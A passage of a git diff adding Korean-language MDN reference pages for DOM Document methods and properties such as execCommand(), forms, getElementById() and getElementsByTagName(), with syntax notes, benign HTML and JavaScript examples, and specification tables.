+ <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/api/document/execcommand/index.html b/files/ko/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..47ec3b3de2
--- /dev/null
+++ b/files/ko/web/api/document/execcommand/index.html
@@ -0,0 +1,157 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+translation_of: Web/API/Document/execCommand
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>HTML 문서가 <code>designMode</code>로 전환되면 문서에서 <code>execCommand</code> 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(<em>볼드, 이탤릭 등</em>)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. <code>contentEditable</code>을 사용할 때에 <code>execCommand()</code>를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>)
+</pre>
+
+<h3 id="반환값">반환값</h3>
+
+<p>명령어가 지원되지 않거나 활성화되어 있지 않으면 <code>false</code> {{jsxref('Boolean')}} 값을 반환합니다.</p>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>aCommandName</code></dt>
+ <dd>실행해야할 명령어 이름 {{domxref("DOMString")}}을 나타냅니다. 사용 가능한 명령어 목록은 {{anch("Commands")}}를 참고하세요.</dd>
+ <dt><code>aShowDefaultUI</code></dt>
+ <dd>기본 사용자 UI가 나타나야하는지를 보여주는 {{jsxref("Boolean")}} 값입니다. Mozilla에서는 구현되어 있지 않습니다.</dd>
+ <dt><code>aValueArgument</code></dt>
+ <dd>입력 변수가 필요한 명령어(<code>insertImage</code>와 같이 삽입할 이미지의 URL이 필요한)의 경우 이 {{domxref("DOMString")}}으로 정보를 전달합니다. 변수가 필요하지 않으면 <code>null</code>을 표기합니다.</dd>
+</dl>
+
+<h3 id="명령어">명령어</h3>
+
+<dl>
+ <dt><code>backColor</code></dt>
+ <dd>문서의 배경색을 변경합니다. <code>styleWithCss</code> 모드에서는 대신 상위 요소의 배경색에 영향을 미칩니다. 변수 값으로 {{cssxref("&lt;color&gt;")}} 값을 넘겨야 합니다. Internet Explorer는 이 명령어를 텍스트 배경색을 변경하는데 사용합니다.</dd>
+ <dt><code>bold</code></dt>
+ <dd>선택 영역이나 입력 위치에 볼드를 온/오프합니다. Internet Explorer는 {{HTMLElement("b")}} 대신 {{HTMLElement("strong")}} 태그를 사용합니다.</dd>
+ <dt><code>contentReadOnly</code></dt>
+ <dd>내용 문서를 읽기 전용으로 하거나 편집 가능하게 합니다. boolean true/false 값을 변수로 넘겨주어야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>copy</code></dt>
+ <dd>클립보드에 현재 선택 영역의 내용을 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.</dd>
+ <dt><code>createLink</code></dt>
+ <dd>선택 영역이 있을 때 선택 영역에 링크 요소를 만듭니다. 변수 값으로 HREF URI 문자열이 필요합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)</dd>
+ <dt><code>cut</code></dt>
+ <dd>현재 선택 영역을 잘라내어서 클립보드에 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.</dd>
+ <dt><code>decreaseFontSize</code></dt>
+ <dd>선택 영역이나 입력 위치에 {{HTMLElement("small")}} 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>delete</code></dt>
+ <dd>현재 선택 영역을 지웁니다.</dd>
+ <dt><code>enableInlineTableEditing</code></dt>
+ <dd>표의 행과 열을 추가 삭제하는 명령 도구를 활성화하거나 비활성화합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>enableObjectResizing</code></dt>
+ <dd>이미지나 다른 크기 조정이 가능한 객체의 크기 조정 도구를 활성화하거나 비활성화합니다.</dd>
+ <dt><code>fontName</code></dt>
+ <dd>선택 영역이나 입력 위치의 서체 이름을 변경합니다. 변수 값으로 서체 이름 문자열(<code>예를 드러 "Arial"</code>)을 넘겨야 합니다.</dd>
+ <dt><code>fontSize</code></dt>
+ <dd>선택 영역이나 입력 위치의 서체 크기를 변경합니다. 변수 값으로 HTML 서체 크기(<code>1</code>-<code>7</code>)을 넘겨야 합니다.</dd>
+ <dt><code>foreColor</code></dt>
+ <dd>선택 영역이나 입력 위치의 서체 색상을 변경합니다. 변수 값으로 색상 값 문자열을 넘겨야 합니다.</dd>
+ <dt><code>formatBlock</code></dt>
+ <dd>현재 선택 영역이 있는 줄을 포함하는 HTML 요소를 추가하고 줄을 포함하는 요소가 있을 경우 요소을 변경합니다(Firefox에서는 BLOCKQUOTE가 예외적으로 상위 요소를 감쌉니다). 변수 값으로 태그 이름 문자열을 넘겨야 합니다. 실질적으로 모든 블록 요소를 사용할 수 있습니다(예 "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer는 제목 태그  H1 - H6와 ADDRESS, PRE만 지원하고 태그 구분자 &lt; &gt;를 써서 "&lt;H1&gt;"와 같이 사용해야 합니다.)</dd>
+ <dt><code>forwardDelete</code></dt>
+ <dd><a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29">커서</a> 위치 앞의 글자를 지웁니다. delete 키를 누른 것과 동일합니다.</dd>
+ <dt><code>heading</code></dt>
+ <dd>선택 영역이나 입력 위치 줄에 제목 태그를 추가합니다. 변수 값으로 제목 이름 문자열(예 "H1", "H6")을 넘겨야 합니다. (Internet Explorer와 Safari는 지원하지 않습니다.)</dd>
+ <dt><code>hiliteColor</code></dt>
+ <dd>선택 영역이나 입력 위치의 배경 색상을 변경합니다. 변수 값으로 생상 값 문자열을 넘겨야 합니다. 이 함수는 UseCSS가 반드시 켜져 있어야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>increaseFontSize</code></dt>
+ <dd>선택 영역이나 입력 위치에 BIG 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>indent</code></dt>
+ <dd>선택 영역이나 입력 위치를 포함하는 줄을 들여쓰기 합니다. Firefox에서는 선택 영역이 여러줄에 걸처 서로 다른 들여쓰기 값을 가지고 있으면 제일 조금 들여쓰기된 줄만 들여쓰기가 됩니다.</dd>
+ <dt><code>insertBrOnReturn</code></dt>
+ <dd>엔터키를 눌렀을 때 br 태그를 넣을지 현재의 블록 요소를 두개로 나줄지 제어합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>insertHorizontalRule</code></dt>
+ <dd>입력 위치에 가로줄을 넣습니다(선택 영역은 지워집니다).</dd>
+ <dt><code>insertHTML</code></dt>
+ <dd>입력 위치에 HTML 문자열을 넣습니다(선택 영역을 지워집니다). 변수 값으로 유효한 HTML 문자열을 넘겨야 합니다. (Internet Explorer는 지원하지 않습니다.)</dd>
+ <dt><code>insertImage</code></dt>
+ <dd>입력 위치에 이미지를 넣습니다(선택 영역을 지워집니다). 변수 값으로 이미지의 SRC URI 문자열을 넘겨야 합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)</dd>
+ <dt><code>insertOrderedList</code></dt>
+ <dd>선택 영역이나 입력 위치에 번호 순서가 있는 목록을 넣습니다.</dd>
+ <dt><code>insertUnorderedList</code></dt>
+ <dd>선택 영역이나 입력 위치에 번호 순서가 없는 목록을 넣습니다.</dd>
+ <dt><code>insertParagraph</code></dt>
+ <dd>선택 영역이나 현재 줄에 문단 태그를 추가합니다. (Internet Explorer는 입력 위치에 문단을 삽입하고 선택 영역은 삭제합니다.)</dd>
+ <dt><code>insertText</code></dt>
+ <dd>입력 위치에 지정된 텍스트를 입력합니다(선택 영역은 지워집니다).</dd>
+ <dt><code>italic</code></dt>
+ <dd>선택 영역이나 입력 위치에 이탤릭을 온/오프합니다. (Internet Explorer는 I 대신 EM 태그를 사용합니다.)</dd>
+ <dt><code>justifyCenter</code></dt>
+ <dd>선택 영역이나 입력 위치를 가운데 정렬합니다.</dd>
+ <dt><code>justifyFull</code></dt>
+ <dd>선택 영역이나 입력 위치를 양쪽 정렬합니다.</dd>
+ <dt><code>justifyLeft</code></dt>
+ <dd>선택 영역이나 입력 위치를 좌측 정렬합니다.</dd>
+ <dt><code>justifyRight</code></dt>
+ <dd>선택 영역이나 입력 위치를 우측 정렬합니다.</dd>
+ <dt><code>outdent</code></dt>
+ <dd>선택 영역이나 입력 위치의 줄을 내어쓰기 합니다.</dd>
+ <dt><code>paste</code></dt>
+ <dd>입력 위치에 클립보드의 내용을 붙여넣기 합니다(현재의 선택 영역을 교체합니다). user.js 설정 파일에서 클립보드가 활성화 되어 있어야 합니다. 참고 [1].</dd>
+ <dt><code>redo</code></dt>
+ <dd>이전에 실행 취소된 명령을 다시 실행합니다.</dd>
+ <dt><code>removeFormat</code></dt>
+ <dd>현재 선택 영역의 모든 문서 형식을 제거합니다.</dd>
+ <dt><code>selectAll</code></dt>
+ <dd>편집 가능 영역의 모든 내용을 선택합니다.</dd>
+ <dt><code>strikeThrough</code></dt>
+ <dd>선택 영역이나 입력 위치의 가로줄을 온/오프 합니다.</dd>
+ <dt><code>subscript</code></dt>
+ <dd>선택 영역이나 입력 위치의 아랫첨자를 온/오프 합니다.</dd>
+ <dt><code>superscript</code></dt>
+ <dd>선택 영역이나 입력 위치의 윗첨자를 온/오프 합니다.</dd>
+ <dt><code>underline</code></dt>
+ <dd>선택 영역이나 입력 위치의 밑줄을 온/오프 합니다.</dd>
+ <dt><code>undo</code></dt>
+ <dd>직전에 실행된 명령을 취소합니다.</dd>
+ <dt><code>unlink</code></dt>
+ <dd>선택된 링크에서 링크 태그를 제거합니다.</dd>
+ <dt><code>useCSS</code> {{Deprecated_inline}}</dt>
+ <dd>생성된 마크업의 HTML 태그나 CSS 사용을 토글합니다. 변수 값으로 boolean true/false 값을 넘겨야 합니다. 주의: 이 값은 논리적으로 반대입니다(CSS를 사용하기 위해서는 false를 HTML을 사용하기 위해서는 true). (Internet Explorer는 지원하지 않습니다.) 이 명령은 더이상 사용하지 않습니다. 대신 <em>styleWithCSS</em> 명령어를 사용하세요.</dd>
+ <dt><code>styleWithCSS</code></dt>
+ <dd><em>useCSS</em> 명령어를 대체합니다. 변수 값은 예상한대로 작동합니다. 예를 들어서 마크업에서 <em>style</em> 속성을 수정하거나 생성하려면 true를, false는 포매팅 요소를 생성합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>CodePen의 <a href="http://codepen.io/netsi1964/full/QbLLGW/">how to use</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td>
+ <td>{{Spec2('HTML Editing')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.execCommand")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> with bugs related to <code>document.execCommand</code>.{{CompatUnknown}}</li>
+</ul>
diff --git a/files/ko/web/api/document/forms/index.html b/files/ko/web/api/document/forms/index.html
new file mode 100644
index 0000000000..675110bb47
--- /dev/null
+++ b/files/ko/web/api/document/forms/index.html
@@ -0,0 +1,77 @@
+---
+title: Document.forms
+slug: Web/API/Document/forms
+tags:
+ - Forms
+translation_of: Web/API/Document/forms
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>forms</code>는 현재 document에 존재하는 {{HTMLElement("form")}} element 들이 담긴 collection (an {{domxref("HTMLCollection")}})을 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>collection</var> = document.forms;</pre>
+
+<h2 id="Example" name="Example">Example: Getting form information</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+
+&lt;head&gt;
+&lt;title&gt;document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;form id="robby"&gt;
+ &lt;input type="button" onclick="alert(document.forms[0].id);" value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+ &lt;input type="button" onclick="alert(document.forms[1].id);" value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+ &lt;input type="button" onclick="alert(document.forms[2].id);" value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_2Getting_an_element_from_within_a_form">Example 2:Getting an element from within a form</h2>
+
+<pre class="brush: js">var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}</td>
+ <td>{{ Spec2('HTML WHATWG') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}</td>
+ <td>{{ Spec2('DOM2 Events') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLFormElement")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/getelementbyid/index.html b/files/ko/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..ff66b88d8b
--- /dev/null
+++ b/files/ko/web/api/document/getelementbyid/index.html
@@ -0,0 +1,152 @@
+---
+title: Document.getElementById()
+slug: Web/API/Document/getElementById
+tags:
+ - API
+ - DOM
+ - Document
+ - Elements
+ - Method
+ - Reference
+ - Web
+translation_of: Web/API/Document/getElementById
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><code><strong>Document.getElementById()</strong></code> 메서드는 주어진 문자열과 일치하는 {{domxref("Element.id", "id")}} 속성을 가진 요소를 찾고, 이를 나타내는 {{domxref("Element")}} 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을 때 유용합니다.</p>
+
+<p>ID가 없는 요소에 접근하려면 {{domxref("Document.querySelector()")}}를 사용하세요. 모든 {{Glossary("CSS selector", "선택자")}}를 사용할 수 있습니다.</p>
+
+<h2 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h2>
+
+<pre class="syntaxbox">document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><strong><code>id</code></strong></dt>
+ <dd>찾으려는 요소 ID. ID는 대소문자를 구분하는 문자열로, 문서 내에서 유일해야 합니다. 즉, 하나의 값은 하나의 요소만 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 ID와 일치하는 DOM 요소를 나타내는 {{domxref("Element")}} 객체. 문서 내에 주어진 ID가 없으면 <code>null</code>.</p>
+
+<h2 id="예제" name="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;getElementById 예제&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p id="para"&gt;어떤 글&lt;/p&gt;
+  &lt;button onclick="changeColor('blue');"&gt;blue&lt;/button&gt;
+  &lt;button onclick="changeColor('red');"&gt;red&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers language-js">function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', 250, 100) }}</p>
+
+<h2 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">용법</h2>
+
+<p>메서드 이름 중 <code>"Id"</code>의 대소문자가 정확해야 합니다. <code>getElementByID()</code>가 자연스러워 보일지라도 유효하지 않은 이름이기에 사용할 수 없습니다.</p>
+
+<p>{{domxref("Document.querySelector()")}}나 {{domxref("Document.querySelectorAll()")}}과는 달리 <code>getElementById()</code>는 전역 <code>document</code> 객체의 메서드로만 사용할 수 있고, DOM의 다른 객체는 메서드로 가지고 있지 않습니다. ID 값은 문서 전체에서 유일해야 하며 "국지적"인 버전을 쓸 이유가 없기 때문입니다.</p>
+
+<h3 id="예제_2" name="예제_2">예제</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="parent-id"&gt;
+        &lt;p&gt;hello word1&lt;/p&gt;
+        &lt;p id="test1"&gt;hello word2&lt;/p&gt;
+        &lt;p&gt;hello word3&lt;/p&gt;
+        &lt;p&gt;hello word4&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;script&gt;
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //throw error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code>id</code>에 맞는 요소가 없을 때 <code>getElementById()</code>는 <code>null</code>을 반환합니다. 매개변수 <code>id</code>가 대소문자를 구분한다는 점을 기억하세요. <code>document.getElementById("<strong>M</strong>ain")</code>는 <code>&lt;div id="<strong>m</strong>ain"&gt;</code> 대신 <code>null</code>을 반환하는데 "M"과 "m"을 구분하기 때문입니다.</p>
+
+<p><strong>문서에 없는 요소</strong>는 <code>getElementById()</code>가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 <code>getElementById()</code>로 접근할 수 있습니다.</p>
+
+<pre class="brush: js line-numbers language-js">var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el이 null!
+</pre>
+
+<p><strong>HTML이 아닌 문서</strong>. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. <a href="/ko/docs/XHTML" title="en-US/docs/XHTML">XHTML</a>, <a href="/ko/docs/XUL" title="en-US/docs/XUL">XUL</a> 등 자주 쓰이는 문서의 경우 <code>id</code> 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 <code>null</code>을 반환합니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition for the interface</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>Supersede DOM 1</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>Supersede DOM 2</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Intend to supersede DOM 3</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.getElementById")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Document")}}는 문서 안의 요소에 접근할 수 있는 다른 메서드와 속성으로의 참조를 가지고 있습니다.</li>
+ <li>{{domxref("Document.querySelector()")}}를 사용하면 <code>'div.myclass'</code> 처럼 선택자로 요소를 탐색할 수 있습니다.</li>
+ <li><a href="/ko/docs/xml/xml:id" title="en-US/docs/xml/id">xml:id</a> - <code>getElementById()</code>가 (Ajax 호출 등으로 받은) XML 문서에서 "xml:id" 속성 값을 사용할 수 있도록 도와주는 메서드를 가지고 있습니다.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/document/getelementsbytagname/index.html b/files/ko/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..1d2284b02a
--- /dev/null
+++ b/files/ko/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,117 @@
+---
+title: Document.getElementsByTagName()
+slug: Web/API/Document/getElementsByTagName
+tags:
+ - API
+ - DOM
+ - 레퍼런스
+ - 메소드
+translation_of: Web/API/Document/getElementsByTagName
+---
+<div>{{ ApiRef("DOM") }}<br>
+{{domxref("Document")}} 인터페이스의 <strong><code>getElementsByTagName</code></strong> 메소드는 엘리먼트의 {{domxref("HTMLCollection")}} 과 주어진 태그명을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 검색됩니다. 반환된 <code>HTMLCollection</code> 은 살아있는데, 이는 <code>document.getElementsByTagName()</code> 을 다시 호출하지 않아도 자동으로 업데이트하여 DOM 트리와 동기화된 상태를 유지함을 의미합니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <var>elements</var> = document.getElementsByTagName(<em>name</em>);</pre>
+
+<ul>
+ <li><var>elements</var> 는 트리에 나타난 순서대로 발견된 살아있는 {{domxref("HTMLCollection")}} 입니다(하지만 아래 노트를 보세요).</li>
+ <li><var>name</var> 은 엘리먼트의 이름을 나타내는 문자열입니다. 특수 문자 "*" 은 모든 엘리먼트를 나타냅니다.</li>
+</ul>
+
+<div class="note"><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">최신 W3C 명세</a>에서는 <var>elements</var> 가 <code>HTMLCollection</code> 라고 하지만, WebKit 브라우저에서는 {{domxref("NodeList")}} 를 반환합니다. 자세한 내용은 {{bug(14869)}} 버그를 확인하시기 바랍니다.</div>
+
+<h2 id="예시">예시</h2>
+
+<p>다음 예시에서, <code>getElementsByTagName()</code> 는 특정 부모 엘리먼트에서 시작해 그 부모 엘리먼트의 DOM 을 거쳐 위에서 아래로 재귀 탐색을하고, 태그 <code>name</code> 파라미터에 일치하는 모든 자손 엘리먼트의 집합을 생성합니다. 여기에서는 <code>document.getElementsByTagName()</code> 과 기능적으로 동일하며 DOM 트리의 특정 엘리먼트를 시작으로하여 탐색하는 {{domxref("Element.getElementsByTagName()")}} 모두를 시연합니다.</p>
+
+<p>버튼 클릭은 <code>getElementsByTagName()</code> 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+ &lt;meta charset="UTF-8" /&gt;
+ &lt;title&gt;getElementsByTagName example&lt;/title&gt;
+ &lt;script&gt;
+ function getAllParaElems() {
+ var allParas = document.getElementsByTagName('p');
+ var num = allParas.length;
+ alert('There are ' + num + ' paragraph in this document');
+ }
+
+ function div1ParaElems() {
+ var div1 = document.getElementById('div1');
+ var div1Paras = div1.getElementsByTagName('p');
+ var num = div1Paras.length;
+ alert('There are ' + num + ' paragraph in #div1');
+ }
+
+ function div2ParaElems() {
+ var div2 = document.getElementById('div2');
+ var div2Paras = div2.getElementsByTagName('p');
+ var num = div2Paras.length;
+ alert('There are ' + num + ' paragraph in #div2');
+ }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body style="border: solid green 3px"&gt;
+ &lt;p&gt;Some outer text&lt;/p&gt;
+ &lt;p&gt;Some outer text&lt;/p&gt;
+
+ &lt;div id="div1" style="border: solid blue 3px"&gt;
+ &lt;p&gt;Some div1 text&lt;/p&gt;
+ &lt;p&gt;Some div1 text&lt;/p&gt;
+ &lt;p&gt;Some div1 text&lt;/p&gt;
+
+ &lt;div id="div2" style="border: solid red 3px"&gt;
+ &lt;p&gt;Some div2 text&lt;/p&gt;
+ &lt;p&gt;Some div2 text&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+  &lt;p&gt;Some outer text&lt;/p&gt;
+  &lt;p&gt;Some outer text&lt;/p&gt;
+
+  &lt;button onclick="getAllParaElems();"&gt;
+    show all p elements in document&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div1ParaElems();"&gt;
+    show all p elements in div1 element&lt;/button&gt;&lt;br /&gt;
+
+  &lt;button onclick="div2ParaElems();"&gt;
+    show all p elements in div2 element&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="노트">노트</h2>
+
+<p>HTML 다큐먼트에서 호출될 때, getElementsByTagName() 은 처리전에 인수를 소문자로 변환합니다. 이는 HTML 다큐먼트의 하위 트리에 속한 낙타 표기법의 SVG 엘리먼트를 찾으려할 때 바람직하지 않습니다. 그런 경우에는 {{Domxref("document.getElementsByTagNameNS()")}} 가 유용합니다.{{Bug(499656)}} 버그도 확인하시기 바랍니다.</p>
+
+<p><code>document.getElementsByTagName()</code> 은 전체 다큐먼트를 포함하여 탐색한다는 점만 제외하고 {{domxref("Element.getElementsByTagName()")}} 와 유사합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.getElementsByTagName")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("Element.getElementsByTagName()")}}</li>
+ <li>{{domxref("document.getElementById()")}} 는 <code>id</code> 로 엘리먼트의 참조를 반환합니다</li>
+ <li>{{domxref("document.getElementsByName()")}} 은 <code>name</code> 으로 엘리먼트의 참조를 반환합니다</li>
+ <li>{{domxref("document.querySelector()")}} 는 <code>'div.myclass'</code> 같은 쿼리를 사용할 수 있는 강력한 셀렉터입니다.</li>
+</ul>
diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.html b/files/ko/web/api/document/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..77c5001581
--- /dev/null
+++ b/files/ko/web/api/document/getelementsbytagnamens/index.html
@@ -0,0 +1,149 @@
+---
+title: Document.getElementsByTagNameNS()
+slug: Web/API/Document/getElementsByTagNameNS
+tags:
+ - API
+ - DOM
+ - NeedsMarkupWork
+ - NeedsSpecTable
+ - getElementsByTagNameNS
+ - 레퍼런스
+ - 메소드
+translation_of: Web/API/Document/getElementsByTagNameNS
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><var>elements</var> = document.getElementsByTagNameNS(<var>namespace</var>, <var>name</var>)
+</pre>
+
+<ul>
+ <li><var>elements</var> 는 트리에 나타난 순서로 발견된 살아있는 {{DOMxRef("NodeList")}} 입니다(하지만 아래를 확인하세요).</li>
+ <li><var>namespace</var> 는 탐색하기 위한 엘리먼트의 네임스페이스 URI 입니다({{domxref("Node.namespaceURI", "element.namespaceURI")}}) 를 확인하세요).</li>
+ <li><var>name 은 탐색할 엘리먼트의 로컬명 또는 모든 엘리먼트에 일치하는 특별 값 <code>*</code> 입니다</var>({{domxref("Node.localName", "element.localName")}} 를 확인하세요).</li>
+</ul>
+
